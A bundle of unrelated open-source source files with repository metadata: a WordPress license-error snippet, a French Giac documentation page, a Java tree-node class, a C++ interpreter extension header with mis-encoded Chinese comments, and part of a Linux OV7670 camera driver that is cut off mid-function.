break; case 'no_activations_left' : $message = __( 'This license does not have any activations left', 'edd' ); break; case 'expired' : $message = __( 'This license key is expired. Please renew it.', 'edd' ); break; default : $message = sprintf( __( 'There was a problem activating your license key, please try again or contact support. Error code: %s', 'edd' ), $license_error->error ); break; } } if( ! empty( $message ) ) { echo '<div class="error">'; echo '<p>' . $message . '</p>'; echo '</div>'; } delete_transient( 'edd_license_error' ); } } endif; // end class_exists check
kamirsardari-ht/ht-books
wp-content/plugins/easy-digital-downloads1/includes/class-edd-license-handler.php
PHP
gpl-2.0
8,010
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <HTML> <HEAD> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <META name="GENERATOR" content="hevea 1.10"> <LINK rel="stylesheet" type="text/css" href="cascmd_fr.css"> <TITLE>Différence entre fonction et expression</TITLE> </HEAD> <BODY > <A HREF="cascmd_fr290.html"><IMG SRC="previous_motif.gif" ALT="Previous"></A> <A HREF="index.html"><IMG SRC="contents_motif.gif" ALT="Up"></A> <A HREF="cascmd_fr292.html"><IMG SRC="next_motif.gif" ALT="Next"></A> <HR> <H3 CLASS="subsection"><A NAME="htoc367">6.17.1</A>  Différence entre fonction et expression</H3><P><A NAME="@default498"></A><A NAME="@default499"></A> Une fonction <TT>f</TT> est définie par exemple par :<BR> <TT>f(x):=x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT> ou encore par <TT>f:=x-&gt;x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT><BR> cela signifie que pour tous les <I>x</I>, <I>f</I>(<I>x</I>) est égale à l’expression <I>x</I><SUP>2</SUP>−1.<BR> On pourra ainsi taper <TT>f(2)</TT> pour avoir la valeur de <I>f</I> en <I>x</I>=2.<BR> Par contre si on définit :<BR> <TT>g:=x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT> cela signifie que <TT>g</TT> est une variable qui contient l’expression <I>x</I><SUP>2</SUP>−1. Pour avoir la valeur de <I>g</I> en <I>x</I>=2 il faut alors écrire :<BR> <TT>subst(g,x=2)</TT> car <I>g</I> est une expression qui dépend de <I>x</I>.<BR> Aussi, lorsque l’argument d’une commande est une fonction il faut mettre comme argument, soit par exemple <TT>x-&gt;x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT>, soit <TT>f</TT> (si <TT>f</TT> est une fonction qui a été définie auparavant par exemple par <TT>f(x):=x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT>) et<BR> lorsque l’argument d’une commande est une expression on met comme argument, soit par exemple <TT>x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT>, soit <TT>g</TT> (si <TT>g</TT> est une variable que l’on a définie auparavant par exemple <TT>g:=x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT>), soit <TT>f(x)</TT> (si <TT>f</TT> est une fonction qui a été définie auparavant par exemple <TT>f(x):=x</TT><CODE><TT>^</TT></CODE><TT>2-1</TT>). </P><HR> <A HREF="cascmd_fr290.html"><IMG SRC="previous_motif.gif" ALT="Previous"></A> <A HREF="index.html"><IMG SRC="contents_motif.gif" ALT="Up"></A> <A HREF="cascmd_fr292.html"><IMG SRC="next_motif.gif" ALT="Next"></A> </BODY> </HTML>
hiplayer/giac
giac/giac-1.2.3/doc/fr/cascmd_fr/cascmd_fr291.html
HTML
gpl-2.0
2,489
/* FieldNode.java field tree node for GASHSchema Created: 14 August 1997 Module By: Jonathan Abbey, jonabbey@arlut.utexas.edu ----------------------------------------------------------------------- Ganymede Directory Management System Copyright (C) 1996-2010 The University of Texas at Austin Contact information Author Email: ganymede_author@arlut.utexas.edu Email mailing list: ganymede@arlut.utexas.edu US Mail: Computer Science Division Applied Research Laboratories The University of Texas at Austin PO Box 8029, Austin TX 78713-8029 Telephone: (512) 835-3200 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ package arlut.csd.ganymede.admin; import arlut.csd.JTree.treeMenu; import arlut.csd.JTree.treeNode; import arlut.csd.ganymede.rmi.BaseField; /*------------------------------------------------------------------------------ class FieldNode ------------------------------------------------------------------------------*/ class FieldNode extends arlut.csd.JTree.treeNode { private BaseField field; // remote reference /* -- */ FieldNode(treeNode parent, String text, BaseField field, treeNode insertAfter, boolean expandable, int openImage, int closedImage, treeMenu menu) { super(parent, text, insertAfter, expandable, openImage, closedImage, menu); this.field = field; } public BaseField getField() { return field; } public void setField(BaseField field) { this.field = field; } public void cleanup() { this.field = null; } }
jonabbey/Ganymede
src/ganymede/arlut/csd/ganymede/admin/FieldNode.java
Java
gpl-2.0
2,338
/******************************************************************** ˵Ã÷: sil½âÊÍÆ÷ . º¯ÊýÀ©Õ¹Ö§³Ö¿â ´´½¨Ê±¼ä: 2013-8-29 ×÷Õß: Ѧ¸Ö ÁªÏµµØÖ·: qq:308821698 £¨http://t.qq.com/flysnowxg/£© *********************************************************************/ #pragma once #include "base_define.h" #include "code_gen.h" void inital_internal_fun(); bool find_internal_function(const string& fun_name); bool internel_fun_call(const string&fun_name,int param_count,vector<inst_value>& stk,int first_param); class func_extern; //ÀàÐÍת»»¹æÔò¼ì²é´«ÈëµÄʵ²ÎÊÇ·ñÄܹ»±»º¯ÊýËù½ÓÊÕ typedef bool (*param_invert_rule_t)(int,vector<inst_value>&,int,func_extern*); //Ò»ÏÂÊÇÄÚÖõļ¸Ìõ¹æÔò //²ÎÊýµÄÀàÐÍת»»¹æÔò£¬Ä¬ÈϹæÔòÈçÏ bool default_param_invert_rule(int param_count,vector<inst_value>& stk,int first_param,func_extern* pfe); //¶ÔÓÚ¼Ó¼õ³Ë³ýµÈÄÚÖòÙ×÷£¬Ó¦µ±½øÐÐÀàÐÍÌáÉý £¬int¿ÉÒÔÌáÉýΪfloat£¬float¿ÉÒÔÌáÉýµ½string bool internal_param_invert_rule(int param_count,vector<inst_value>& stk,int first_param,func_extern* pfe); template<typename T> T invert_param_to(vector<inst_value>& stk,int index=0); //ÀàÐ͵½ÕûÊýË÷ÒýµÄת»» template<typename T> struct type_to_eiv { static e_inst_value_t eiv; }; template <typename T> e_inst_value_t type_to_eiv<T>::eiv=eiv_invalid; template<> struct type_to_eiv<int> { static e_inst_value_t eiv; }; template<> struct type_to_eiv<double> { static e_inst_value_t eiv; }; template<> struct type_to_eiv<string> { static e_inst_value_t eiv; }; class func_extern { public: func_extern(const string& fun_name,param_invert_rule_t invert_f=default_param_invert_rule,e_inst_value_t return_t=eiv_invalid) :m_fun_name(fun_name),m_return_t(return_t),m_invert_f(invert_f){} bool can_invert_params(int param_count,vector<inst_value>& stk,int first_param) { return (*m_invert_f)(param_count,stk,first_param,this); } virtual void operator()(int param_count,vector<inst_value>& stk,int first_param)=0; const string m_fun_name; e_inst_value_t m_return_t; vector<e_inst_value_t> m_params_t; param_invert_rule_t m_invert_f; }; class weak_param{}; //À©Õ¹º¯ÊýµÄ±íʾ template<typename ResultT, typename P1=weak_param,typename P2=weak_param, typename P3=weak_param,typename P4=weak_param, typename P5=weak_param,typename P6=weak_param> class func_extern_impl :public func_extern { public: typedef ResultT (*fun0_t)() ; typedef ResultT (*fun1_t)(P1) ; typedef ResultT (*fun2_t)(P1,P2) ; typedef ResultT (*fun3_t)(P1,P2,P3) ; typedef ResultT (*fun4_t)(P1,P2,P3,P4) ; typedef ResultT (*fun5_t)(P1,P2,P3,P4,P5) ; typedef ResultT (*fun6_t)(P1,P2,P3,P4,P5,P6) ; public: #define FUNC_EXTERN_IMPL_CONSTRUCTOR(num) \ func_extern_impl(const string& fun_name,fun##num##_t pf,param_invert_rule_t invert_f)\ :func_extern(fun_name,invert_f)\ {\ m_fun = (void*)pf;\ m_fun_index = num;\ init_params();\ } FUNC_EXTERN_IMPL_CONSTRUCTOR(0); FUNC_EXTERN_IMPL_CONSTRUCTOR(1); FUNC_EXTERN_IMPL_CONSTRUCTOR(2); FUNC_EXTERN_IMPL_CONSTRUCTOR(3); FUNC_EXTERN_IMPL_CONSTRUCTOR(4); FUNC_EXTERN_IMPL_CONSTRUCTOR(5); FUNC_EXTERN_IMPL_CONSTRUCTOR(6); void init_params() { m_return_t=type_to_eiv<ResultT>().eiv; if(type_to_eiv<P1>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P1>().eiv); if(type_to_eiv<P2>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P2>().eiv); if(type_to_eiv<P3>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P3>().eiv); if(type_to_eiv<P4>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P4>().eiv); if(type_to_eiv<P5>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P5>().eiv); if(type_to_eiv<P6>::eiv!=eiv_invalid) m_params_t.push_back(type_to_eiv<P6>().eiv); } virtual void operator()(int param_count,vector<inst_value>& stk,int first_param) { stk[first_param] =call_wrap<ResultT>( invert_param_to<P1>(stk,first_param), invert_param_to<P2>(stk,first_param+1), invert_param_to<P3>(stk,first_param+2), invert_param_to<P4>(stk,first_param+3), invert_param_to<P5>(stk,first_param+4), invert_param_to<P6>(stk,first_param+5) ); } template<typename XResultT,typename XP1,typename XP2,typename XP3,typename XP4,typename XP5,typename XP6> XResultT call_wrap(XP1 p1,XP2 p2,XP3 p3,XP4 p4,XP5 p5,XP6 p6) { if(m_fun_index==0) return ((fun0_t)m_fun)(); if(m_fun_index==1) return ((fun1_t)m_fun)(p1); if(m_fun_index==2) return ((fun2_t)m_fun)(p1,p2); if(m_fun_index==3) return ((fun3_t)m_fun)(p1,p2,p3); if(m_fun_index==4) return ((fun4_t)m_fun)(p1,p2,p3,p4); if(m_fun_index==5) return ((fun5_t)m_fun)(p1,p2,p3,p4,p5); if(m_fun_index==6) return ((fun6_t)m_fun)(p1,p2,p3,p4,p5,p6); return XResultT(); } private: int m_fun_index; void* m_fun; }; //À©Õ¹º¯Êý¼¯ºÏ¹ÜÀí£¬ºÍµ÷Ó÷â×° class extern_fun_manager { public: bool register_fun(shared_ptr<func_extern> sp_fun); bool find(const string& fun_name); bool call(const string&fun_name,int param_count,vector<inst_value>& stk,int first_param); void list_function(); private: map<string,vector<shared_ptr<func_extern> > > m_funs; }; extern_fun_manager* funs_manager(); //×¢²áÀ©Õ¹º¯Êýµ½sil template<typename ResultT> void register_function(const string&fun_name,ResultT (*pf)(),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT> >(new func_extern_impl<ResultT>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1> void register_function(const string&fun_name, ResultT (*pf)(P1),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1> >(new func_extern_impl<ResultT,P1>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1,typename P2> void register_function(const string&fun_name, ResultT (*pf)(P1,P2),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1,P2> >(new func_extern_impl<ResultT,P1,P2>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1,typename P2,typename P3> void register_function(const string&fun_name, ResultT (*pf)(P1,P2,P3),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1,P2,P3> >(new func_extern_impl<ResultT,P1,P2,P3>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1,typename P2,typename P3,typename P4> void register_function(const string&fun_name, ResultT (*pf)(P1,P2,P3,P4),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1,P2,P3,P4> >(new func_extern_impl<ResultT,P1,P2,P3,P4>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1,typename P2,typename P3,typename P4,typename P5> void register_function(const string&fun_name, ResultT (*pf)(P1,P2,P3,P4,P5),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1,P2,P3,P4,P5> >(new func_extern_impl<ResultT,P1,P2,P3,P4,P5>(fun_name,pf,invert_f))); } template<typename ResultT,typename P1,typename P2,typename P3,typename P4,typename P5,typename P6> void register_function(const string&fun_name, ResultT (*pf)(P1,P2,P3,P4,P5,P6),param_invert_rule_t invert_f=default_param_invert_rule) { funs_manager()->register_fun(shared_ptr<func_extern_impl<ResultT,P1,P2,P3,P4,P5,P6> >(new func_extern_impl<ResultT,P1,P2,P3,P4,P5,P6>(fun_name,pf,invert_f))); }
flysnowxg/sil
src/func_extern_lib.h
C
gpl-2.0
7,585
/* * drivers/media/video/ov7670soc.c * * OmniVision OV7670 cameras driver * * Copyright (c) 2011 Ming-Yao Chen <mychen0518@gmail.com> * (based on tvp514x.c) * * Copyright (c) 2013 Ant Micro <www.antmicro.com> * * This package is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * */ #include <linux/i2c.h> #include <linux/delay.h> #include <linux/videodev2.h> #include <media/soc_camera.h> #include <media/v4l2-device.h> #include <media/v4l2-ctrls.h> #include <media/v4l2-common.h> #include <media/v4l2-chip-ident.h> #include <media/v4l2-subdev.h> #include <media/v4l2-ioctl.h> /* MODULE NAME*/ #define OV7670SOC_MODULE_NAME "ov7670soc" /* Private macros for OV7670 */ #define I2C_RETRY_COUNT (5) #define VGA_WIDTH (640) #define VGA_HEIGHT (480) /* Registers */ #define REG_GAIN 0x00 /* Gain lower 8 bits (rest in vref) */ #define REG_BLUE 0x01 /* blue gain */ #define REG_RED 0x02 /* red gain */ #define REG_VREF 0x03 /* Pieces of GAIN, VSTART, VSTOP */ #define REG_COM1 0x04 /* Control 1 */ #define COM1_CCIR656 0x40 /* CCIR656 enable */ #define REG_BAVE 0x05 /* U/B Average level */ #define REG_GbAVE 0x06 /* Y/Gb Average level */ #define REG_AECHH 0x07 /* AEC MS 5 bits */ #define REG_RAVE 0x08 /* V/R Average level */ #define REG_COM2 0x09 /* Control 2 */ #define COM2_SSLEEP 0x10 /* Soft sleep mode */ #define REG_PID 0x0a /* Product ID MSB */ #define REG_VER 0x0b /* Product ID LSB */ #define REG_COM3 0x0c /* Control 3 */ #define COM3_SWAP 0x40 /* Byte swap */ #define COM3_SCALEEN 0x08 /* Enable scaling */ #define COM3_DCWEN 0x04 /* Enable downsamp/crop/window */ #define REG_COM4 0x0d /* Control 4 */ #define REG_COM5 0x0e /* All "reserved" */ #define REG_COM6 0x0f /* Control 6 */ #define REG_AECH 0x10 /* More bits of AEC value */ #define REG_CLKRC 0x11 /* Clocl control */ #define CLK_EXT 0x40 /* Use external clock directly */ #define CLK_SCALE 0x3f /* Mask for internal clock scale */ #define REG_COM7 0x12 /* Control 7 */ #define COM7_RESET 0x80 /* Register reset */ #define COM7_FMT_MASK 0x38 #define COM7_FMT_VGA 0x00 #define COM7_FMT_CIF 0x20 /* CIF format */ #define COM7_FMT_QVGA 0x10 /* QVGA format */ #define COM7_FMT_QCIF 0x08 /* QCIF format */ #define COM7_RGB 0x04 /* bits 0 and 2 - RGB format */ #define COM7_YUV 0x00 /* YUV */ #define COM7_BAYER 0x01 /* Bayer format */ #define COM7_PBAYER 0x05 /* "Processed bayer" */ #define REG_COM8 0x13 /* Control 8 */ #define COM8_FASTAEC 0x80 /* Enable fast AGC/AEC */ #define COM8_AECSTEP 0x40 /* Unlimited AEC step size */ #define COM8_BFILT 0x20 /* Band filter enable */ #define COM8_AGC 0x04 /* Auto gain enable */ #define COM8_AWB 0x02 /* White balance enable */ #define COM8_AEC 0x01 /* Auto exposure enable */ #define REG_COM9 0x14 /* Control 9 - gain ceiling */ #define REG_COM10 0x15 /* Control 10 */ #define COM10_HSYNC 0x40 /* HSYNC instead of HREF */ #define COM10_PCLK_HB 0x20 /* Suppress PCLK on horiz blank */ #define COM10_HREF_REV 0x08 /* Reverse HREF */ #define COM10_VS_LEAD 0x04 /* VSYNC on clock leading edge */ #define COM10_VS_NEG 0x02 /* VSYNC negative */ #define COM10_HS_NEG 0x01 /* HSYNC negative */ #define REG_HSTART 0x17 /* Horiz start high bits */ #define REG_HSTOP 0x18 /* Horiz stop high bits */ #define REG_VSTART 0x19 /* Vert start high bits */ #define REG_VSTOP 0x1a /* Vert stop high bits */ #define REG_PSHFT 0x1b /* Pixel delay after HREF */ #define REG_MIDH 0x1c /* Manuf. ID high */ #define REG_MIDL 0x1d /* Manuf. ID low */ #define REG_MVFP 0x1e /* Mirror / vflip */ #define MVFP_MIRROR 0x20 /* Mirror image */ #define MVFP_FLIP 0x10 /* Vertical flip */ #define REG_AEW 0x24 /* AGC upper limit */ #define REG_AEB 0x25 /* AGC lower limit */ #define REG_VPT 0x26 /* AGC/AEC fast mode op region */ #define REG_HSYST 0x30 /* HSYNC rising edge delay */ #define REG_HSYEN 0x31 /* HSYNC falling edge delay */ #define REG_HREF 0x32 /* HREF pieces */ #define REG_TSLB 0x3a /* lots of stuff */ #define TSLB_YLAST 0x08 /* UYVY or VYUY - see com13 */ #define REG_COM11 0x3b /* Control 11 */ #define COM11_NIGHT 0x80 /* NIght mode enable */ #define COM11_NMFR 0x60 /* Two bit NM frame rate */ #define COM11_HZAUTO 0x10 /* Auto detect 50/60 Hz */ #define COM11_50HZ 0x08 /* Manual 50Hz select */ #define COM11_EXP 0x02 #define REG_COM12 0x3c /* Control 12 */ #define COM12_HREF 0x80 /* HREF always */ #define REG_COM13 0x3d /* Control 13 */ #define COM13_GAMMA 0x80 /* Gamma enable */ #define COM13_UVSAT 0x40 /* UV saturation auto adjustment */ #define COM13_UVSWAP 0x01 /* V before U - w/TSLB */ #define REG_COM14 0x3e /* Control 14 */ #define COM14_DCWEN 0x10 /* DCW/PCLK-scale enable */ #define REG_EDGE 0x3f /* Edge enhancement factor */ #define REG_COM15 0x40 /* Control 15 */ #define COM15_R10F0 0x00 /* Data range 10 to F0 */ #define COM15_R01FE 0x80 /* 01 to FE */ #define COM15_R00FF 0xc0 /* 00 to FF */ #define COM15_RGB565 0x10 /* RGB565 output */ #define COM15_RGB555 0x30 /* RGB555 output */ #define REG_COM16 0x41 /* Control 16 */ #define COM16_AWBGAIN 0x08 /* AWB gain enable */ #define REG_COM17 0x42 /* Control 17 */ #define COM17_AECWIN 0xc0 /* AEC window - must match COM4 */ #define COM17_CBAR 0x08 /* DSP Color bar */ /* * This matrix defines how the colors are generated, must be * tweaked to adjust hue and saturation. * * Order: v-red, v-green, v-blue, u-red, u-green, u-blue * * They are nine-bit signed quantities, with the sign bit * stored in 0x58. Sign for v-red is bit 0, and up from there. */ #define REG_CMATRIX_BASE 0x4f #define CMATRIX_LEN 6 #define REG_MTX1 0x4f #define REG_MTX2 0x50 #define REG_MTX3 0x51 #define REG_MTX4 0x52 #define REG_MTX5 0x53 #define REG_MTX6 0x54 #define REG_BRIGHTNESS 0x55 /* Brightness */ #define REG_CONTRAST 0x56 /* Contrast control */ #define REG_CMATRIX_SIGN 0x58 #define REG_GFIX 0x69 /* Fix gain control */ #define REG_DBLV 0x6b /* PLL control an debugging */ #define DBLV_BYPASS 0x00 /* Bypass PLL */ #define DBLV_X4 0x01 /* clock x4 */ #define DBLV_X6 0x10 /* clock x6 */ #define DBLV_X8 0x11 /* clock x8 */ #define REG_SCALING_X 0x70 #define REG_SCALING_Y 0x71 #define REG_REG76 0x76 /* OV's name */ #define R76_BLKPCOR 0x80 /* Black pixel correction enable */ #define R76_WHTPCOR 0x40 /* White pixel correction enable */ #define REG_RGB444 0x8c /* RGB 444 control */ #define R444_ENABLE 0x02 /* Turn on RGB444, overrides 5x5 */ #define R444_RGBX 0x01 /* Empty nibble at end */ #define REG_HAECC1 0x9f /* Hist AEC/AGC control 1 */ #define REG_HAECC2 0xa0 /* Hist AEC/AGC control 2 */ #define REG_BD50MAX 0xa5 /* 50hz banding step limit */ #define REG_HAECC3 0xa6 /* Hist AEC/AGC control 3 */ #define REG_HAECC4 0xa7 /* Hist AEC/AGC control 4 */ #define REG_HAECC5 0xa8 /* Hist AEC/AGC control 5 */ #define REG_HAECC6 0xa9 /* Hist AEC/AGC control 6 */ #define REG_HAECC7 0xaa /* Hist AEC/AGC control 7 */ #define REG_BD60MAX 0xab /* 60hz banding step limit */ /* * Store information about the video data format. The color matrix * is deeply tied into the format, so keep the relevant values here. * The magic matrix numbers come from OmniVision. */ static struct ov7670soc_format_struct { enum v4l2_mbus_pixelcode mbus_code; enum v4l2_colorspace colorspace; struct regval_list *regs; int cmatrix[CMATRIX_LEN]; } ov7670soc_formats[] = { { /* TODO: registers are set for UYUV, but we are present as YUYV, otherwise image is * invalid */ .mbus_code = V4L2_MBUS_FMT_YVYU8_2X8, .colorspace = V4L2_COLORSPACE_JPEG, /*TODO: list of regs with preset values for specified format .regs = ov7670soc_fmt_yuv422,*/ .cmatrix = { -64, -52, -12, -23, -41, 132 }, }, }; #define N_OV7670_FMTS ARRAY_SIZE(ov7670soc_formats) /** * struct ov7670soc_decoder - OV7670 decoder object * sd: Subdevice Slave handle * TODO: ov7670soc_regs: copy of hw's regs with preset values. * pdata: Board specific * fmt_list: Format list * num_fmts: Number of formats * fmt: Current format * brightness: only for queries * contrast: only for queries * saturation: only for queries * hue: only for queries */ struct ov7670soc_decoder { struct v4l2_subdev sd; /* TODO: list of def reg values for read queries and RMW operations. Local cache due to impossibility of registers read struct ov7670soc_reg ov7670soc_regs[ARRAY_SIZE(ov7670soc_reg_list_default)];*/ const struct ov7670soc_platform_data *pdata; const struct ov7670soc_format_struct *fmt_list; int num_fmts; struct ov7670soc_format_struct *fmt; /* Current format */ int brightness; int contrast; int saturation; int hue; }; static const struct v4l2_queryctrl ov7670soc_controls[] = { { .id = V4L2_CID_BRIGHTNESS, .type = V4L2_CTRL_TYPE_INTEGER, .name = "brightness", .minimum = 0, .maximum = 255, .step = 1, .default_value = 128, }, { .id = V4L2_CID_CONTRAST, .type = V4L2_CTRL_TYPE_INTEGER, .name = "contrast", .minimum = 0, .maximum = 127, .step = 1, .default_value = 64, }, { .id = V4L2_CID_SATURATION, .type = V4L2_CTRL_TYPE_INTEGER, .name = "saturation", .minimum = 0, .maximum = 256, .step = 1, .default_value = 128, }, { .id = V4L2_CID_HUE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "hue", .minimum = -180, .maximum = 180, .step = 5, .default_value = 0, }, }; static inline struct ov7670soc_decoder *to_decoder(struct v4l2_subdev *sd) { return container_of(sd, struct ov7670soc_decoder, sd); } /* * Read register prohibited on Tegra T-20 due to * arbitration lost after sending device read addres */ #ifndef CONFIG_ARCH_TEGRA_2x_SOC static int ov7670soc_read_reg(struct i2c_client *client, unsigned char reg, unsigned char *val) { int err, retry = 0; read_again: err = i2c_smbus_read_byte_data(client, reg); if (err < 0) { if (retry <= I2C_RETRY_COUNT) { retry++; msleep_interruptible(10); goto read_again; } dev_err(&client->dev, "Failed to read register 0x%02X!\n", reg); } *val = (unsigned char)err; return err; } #endif static int ov7670soc_write_reg(struct i2c_client *client, unsigned char reg, unsigned char val) { int err, retry = 0; write_again: err = i2c_smbus_write_byte_data(client, reg, val); if (err) { if (retry <= I2C_RETRY_COUNT) { retry++; msleep_interruptible(10); goto write_again; } dev_err(&client->dev, "Failed to write 0x%02X to register 0x%02X!\n", val, reg); } return err; } /* * Reset all camera registers to default values */ static int ov7670soc_reset(struct i2c_client *client) { int ret; ret = ov7670soc_write_reg(client, REG_COM7, COM7_RESET); if (ret) dev_err(&client->dev, "An error occurred while entering soft reset!\n"); return ret; } /* * ov7670soc_setup - initializes a list of OV7670 registers */ static int ov7670soc_setup(struct v4l2_subdev *sd, u32 val) { struct i2c_client *client = v4l2_get_subdevdata(sd); ov7670soc_reset(client); /* Configure HSYNC & VSYNC */ ov7670soc_write_reg(client, REG_COM10, COM10_HSYNC | COM10_VS_NEG); /* not sure what this does, but improves colors quality */ ov7670soc_write_reg(client, 0xb0, 0x84); /* Config HSYNC offset */ ov7670soc_write_reg(client, REG_HSTART, 0x00); ov7670soc_write_reg(client, REG_HSTOP, 0x00); ov7670soc_write_reg(client, REG_HSYST, 0x00); ov7670soc_write_reg(client, REG_HSYEN, 0x05); /* default MTX1..MTX5 and MTX6 = 0x84 makes better image */ ov7670soc_write_reg(client, REG_MTX6, 0x84); //TODO: output format, move to mbus_s_fmt ov7670soc_write_reg(client, REG_COM7, COM7_YUV); /* Selects YUV mode */ /* U before V */ ov7670soc_write_reg(client, REG_COM13, COM13_GAMMA | COM13_UVSAT); return 0; } /* * Hue also requires messing with the color matrix. It also requires * trig functions, which tend not to be well supported in the kernel. * So here is a simple table of sine values, 0-90 degrees, in steps * of five degrees. Values are multiplied by 1000. * * The following naive approximate trig functions require an argument * carefully limited to -180 <= theta <= 180. */ #define SIN_STEP 5 static const int ov7670soc_sin_table[] = { 0, 87, 173, 258, 342, 422, 499, 573, 642, 707, 766, 819, 866, 906, 939, 965, 984, 996, 1000 }; static int ov7670soc_sine(int theta) { int chs = 1; int sine; if (theta < 0) { theta = -theta; chs = -1; } if (theta <= 90) sine = ov7670soc_sin_table[theta/SIN_STEP]; else { theta -= 90; sine = 1000 - ov7670soc_sin_table[theta/SIN_STEP]; } return sine*chs; } static int ov7670soc_cosine(int theta) { theta = 90 - theta; if (theta > 180) theta -= 360; else if (theta < -180) theta += 360; return ov7670soc_sine(theta); } static void ov7670soc_calc_cmatrix(struct ov7670soc_decoder *decoder, int matrix[CMATRIX_LEN], int sat, int hue) { int i; /* * Apply the current saturation setting first. */ for (i = 0; i < CMATRIX_LEN; i++) matrix[i] = (decoder->fmt->cmatrix[i] * sat) >> 7; /* * Then, if need be, rotate the hue value. */ if (hue != 0) { int sinth, costh; sinth = ov7670soc_sine(hue); costh = ov7670soc_cosine(hue); matrix[0] = (matrix[3]*sinth + matrix[0]*costh)/1000; matrix[1] = (matrix[4]*sinth + matrix[1]*costh)/1000; matrix[2] = (matrix[5]*sinth + matrix[2]*costh)/1000; matrix[3] = (matrix[3]*costh - matrix[0]*sinth)/1000; matrix[4] = (matrix[4]*costh - matrix[1]*sinth)/1000; matrix[5] = (matrix[5]*costh - matrix[2]*sinth)/1000; } } static int ov7670soc_store_cmatrix(struct v4l2_subdev *sd, int matrix[CMATRIX_LEN]) { int i, ret; unsigned char signbits = 0; struct i2c_client *client = v4l2_get_subdevdata(sd); /* * Weird crap seems to exist in the upper part of * the sign bits register, so let's preserve it. */ /*#ifndef CONFIG_ARCH_TEGRA_2x_SOC /* TODO: read forbidden on T-20 ret = ov7670soc_read_reg(client, REG_CMATRIX_SIGN, &signbits); signbits &= 0xc0; #endif*/ for (i = 0; i < CMATRIX_LEN; i++) { unsigned char raw; if (matrix[i] < 0) { signbits |= (1 << i); if (matrix[i] < -255) raw = 0xff; else raw = (-1 * matrix[i]) & 0xff; } else { if (matrix[i] > 255) raw = 0xff; else raw = matrix[i] & 0xff; } ret += ov7670soc_write_reg(client, REG_CMATRIX_BASE + i, raw); } ret += ov7670soc_write_reg(client, REG_CMATRIX_SIGN, signbits); return ret; } static unsigned char ov7670soc_abs_to_sm(unsigned char v) { if (v > 127) return v & 0x7f; return (128 - v) | 0x80; } static int ov7670soc_s_brightness(struct v4l2_subdev *sd, int value) { unsigned char v;//, com8 = 0; int ret; struct i2c_client *client = v4l2_get_subdevdata(sd); /* TODO: read forbidden on T-20 */ /*#ifndef CONFIG_ARCH_TEGRA_2x_SOC unsigned char com8 = 0; ret = ov7670soc_read_reg(client, REG_COM8, &com8); com8 &= ~COM8_AEC; #endif*/ ov7670soc_write_reg(client, REG_COM8, 0x8e); //defaul val is 0x8f, 0x8e->disable AEC v = ov7670soc_abs_to_sm(value); ret = ov7670soc_write_reg(client, REG_BRIGHTNESS, v); return ret; } static int ov7670soc_s_contrast(struct v4l2_subdev *sd, int value) { struct i2c_client *client = v4l2_get_subdevdata(sd); return ov7670soc_write_reg(client, REG_CONTRAST, (unsigned char) value); } static int ov7670soc_s_sat_hue(struct v4l2_subdev *sd, int sat, int hue) { struct ov7670soc_decoder *decoder = to_decoder(sd); int matrix[CMATRIX_LEN]; int ret; ov7670soc_calc_cmatrix(decoder, matrix, sat, hue); ret = ov7670soc_store_cmatrix(sd, matrix); return ret; } static int ov7670soc_s_ctrl(struct v4l2_subdev *sd, struct v4l2_control *ctrl) { struct ov7670soc_decoder *decoder = to_decoder(sd); switch (ctrl->id) { case V4L2_CID_BRIGHTNESS: return ov7670soc_s_brightness(sd, ctrl->value); case V4L2_CID_CONTRAST: return ov7670soc_s_contrast(sd, ctrl->value); case V4L2_CID_SATURATION: return ov7670soc_s_sat_hue(sd, ctrl->value, decoder->hue); case V4L2_CID_HUE: return ov7670soc_s_sat_hue(sd, decoder->saturation, ctrl->value); } return -EINVAL; } static int ov7670soc_g_ctrl(struct v4l2_subdev *sd, struct v4l2_control *ctrl) { struct ov7670soc_decoder *decoder = to_decoder(sd); switch (ctrl->id) { case V4L2_CID_BRIGHTNESS: ctrl->value = decoder->brightness; break; case V4L2_CID_CONTRAST: ctrl->value = decoder->contrast; break; 